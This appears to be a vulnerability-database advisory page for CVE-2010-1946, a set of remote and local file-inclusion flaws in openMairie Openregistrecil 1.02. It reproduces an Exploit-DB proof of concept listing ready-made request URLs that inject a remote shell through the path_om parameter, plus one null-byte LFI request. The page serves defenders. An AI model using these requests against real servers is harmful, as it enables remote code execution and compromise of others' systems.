CVE-2010-1946
Description
Multiple PHP remote file inclusion vulnerabilities in openMairie Openregistrecil 1.02, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_om parameter to (1) autorisation_normale.class.php, (2) collectivite.class.php, (3) dossier.class.php, (4) norme_simplifiee.class.php, (5) registre.class.php, (6) autorisation_unique.class.php, (7) demande_avis.class.php, (8) droit.class.php, (9) organisme.class.php, (10) service.class.php, (11) categorie_donnee.class.php, (12) destinataire.class.php, (13) profil.class.php, (14) tabdyn_visu.class.php, (15) categorie_personne.class.php, (16) dispense.class.php, (17) modificatif.class.php, (18) reference.class.php, and (19) utilisateur.class.php in obj/.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Openregistrecil 1.02 - Local File Inclusion / Remote File Inclusion
==================================================================
Openregistrecil 1.02 (RFI/LFI) Multiple File Include Vulnerability
==================================================================
[+] Openregistrecil 1.02 (RFI/LFI) Multiple File Include Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4103/openmairie_registreCIL_1.02.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id
[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki,
EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom,
SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend
[+] PoC:
[~] RFI:
http://shell4u.tk/[path]/obj/autorisation_normale.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/dossier.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/norme_simplifiee.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/registre.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/autorisation_unique.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/demande_avis.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/organisme.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/service.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/categorie_donnee.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/destinataire.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/profil.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/tabdyn_visu.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/categorie_personne.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/dispense.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/modificatif.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/reference.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/utilisateur.class.php?path_om=[Shell]
[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| openmairie | openregistrecil | 1.02 | |
References
- http://packetstormsecurity.org/1004-exploits/openregistrecil-rfilfi.txt
- http://secunia.com/advisories/39534
- http://www.exploit-db.com/exploits/12313
- http://www.osvdb.org/63945
- http://www.osvdb.org/63946
- http://www.osvdb.org/63947
- http://www.osvdb.org/63948
- http://www.osvdb.org/63949
- http://www.osvdb.org/63950
- http://www.osvdb.org/63951
- http://www.osvdb.org/63952
- http://www.osvdb.org/63953
- http://www.osvdb.org/63954
- http://www.osvdb.org/63955
- http://www.osvdb.org/63956
- http://www.osvdb.org/63957
- http://www.osvdb.org/63958
- http://www.osvdb.org/63959
- http://www.osvdb.org/63960
- http://www.osvdb.org/63961
- http://www.osvdb.org/63962
- http://www.osvdb.org/63963
- http://www.securityfocus.com/bid/39611
- http://packetstormsecurity.org/1004-exploits/openregistrecil-rfilfi.txt
- http://secunia.com/advisories/39534
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.